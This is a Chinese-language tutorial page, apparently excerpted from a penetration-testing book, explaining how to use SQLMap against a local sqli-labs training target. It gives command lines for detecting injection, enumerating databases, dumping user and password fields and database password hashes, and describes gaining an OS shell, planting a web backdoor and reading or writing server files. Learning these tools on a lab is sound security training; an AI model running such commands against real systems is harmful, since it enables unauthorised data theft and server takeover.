接口测试 CGLib动态代理 json express cocoa recursion path npm安装vue java后台框架 在线考试系统代码 jquery的each遍历方法 oracle限制查询条数 移动端上传图片插件 mysql组合索引 python界面 python生成多个随机数 python加法 python安装 python路径设置 java初学者 学java基础 java数据类型转换 linux基础教程 linux服务器登录 嵌入式linux驱动程序设计从入门到精通 allowoverride atq 德鲁伊武器 华为线刷工具 saminside 黑市商人 tar解压 win10画图 php小数点保留2位 万能播放器电脑版 dnf95b套 威纶通触摸屏编程软件 驱动精灵绿色版 相册制作软件 jpg格式转换器
当前位置: 首页 > 学习教程  > 编程语言

SQLMap命令使用

2020/7/24 11:34:37 文章标签: 测试文章如有侵权请发送至邮箱809451989@qq.com投诉后文章立即删除

博客内容摘录至《Web安全攻防渗透测试实战指南》电子工业出版社
环境要求
安装sqlmap需要安装python环境,具体python版本见官网要求(http://www.sqlmap.org)下载最新版的sqlmap,下载到python的安装目录下,并把sqlmap目录加到环境变量中。
打开cmd,输入sqlmap.py命令后工具即可正常运行(Kali默认安装)

SQLMap入门

搭建sqli-labs靶场环境进行测试或寻找目标注入点

1.判断是否存在注入

判断目标是否存在注入的命令如下:

root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1

结果显示存在注入,如下所示:
在这里插入图片描述
在这里插入图片描述

ps:当注入点后面的参数大于等于两个时,需要加双引号"

2.判断文本中的请求是否存在注入

从文件中加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为Web数据包

-r 一般在存在cookie注入时使用

root@kali:~# sqlmap -r test.txt
3.查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。

root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --dbs

继续注入时–dbs缩写成-D xxx ,xxx是数据库名
在这里插入图片描述

4.获取数据库中的表名

该命令用于查询完数据库后,查询指定数据库中所有的表名。

root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 -D dvwa --tables

在这里插入图片描述

继续注入时–tables缩写成-T

5.获取表中的字段名
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 -D dvwa -T users --columns

在这里插入图片描述

后续注入缩写成-C

6.获取字段内容
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 -D dvwa -T users -C user,password --dump

在这里插入图片描述

7.获取数据库的所有用户
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --users

在这里插入图片描述

8.获取数据库用户的密码
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --passwords

在这里插入图片描述

9.获取当前网站数据库的名称
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --current-db

在这里插入图片描述

10.获取当前网站数据库的用户名称
root@kali:~# sqlmap -u http://192.168.96.1:82/sqli-labs-master/Less-1/?id=1 --current-user

在这里插入图片描述

SQLMap进阶

1.–level5:探测等级

参数–level5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1,sqlmap使用的payload可以在xml/payload.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、XFF等头部注入。当然。level5的运行速度也比较慢。
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTPUser-Agent/Referer头在level为3时就会测试。总之,在不确定哪个payload或参数为注入点时,为了保证全面性,建议使用搞的level至。

2.–is-dba:当前用户是否为管理权限

该命令用于查看当前账户是否为数据库管理员账户,如果是返回true。

3.–roles:列出数据库管理员角色

该命令用户查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色该命令仅适用于当前数据库是Oracle的时候

4.–referer:HTTP Referer头

sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或3以上时,会尝试对referer注入。可以用referer命令来欺骗,如–referer http://baidu.com

5.–sql-shell:运行自定义sql语句

该命令用于执行指定的sql语句
sqlmap -u xxx --sql-shell

6.–os-cmd,–os-shell:运行任意操作系统命令

在数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,如果数据库为mysql、postgresql,sqlmap上传一个二进制库,包含用户自定义的函数sys_execu()和sys_eval(),那么创建的这个两个函数就可以执行系统命令。在microsoft sql server中,sqlmap将使用xp_cmdshell存储过程,如果被禁用(microso sql server 2005及以上版本默认被禁制),则sqlmap会重新启用它;如果不存在,会自动创建
用–os-shell参数可以模拟一个真实的shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为Mysql),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)

7.–file-read:从数据库服务器中读取文件

该命令用于读取执行文件,当数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

8.–file-write --file-dest:上传文件到数据库服务器中

该命令用于写入本地文件到服务器中,当数据库为mysql、postgresql或microsoft sql server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。


本文链接: http://www.dtmao.cc/news_show_50436.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?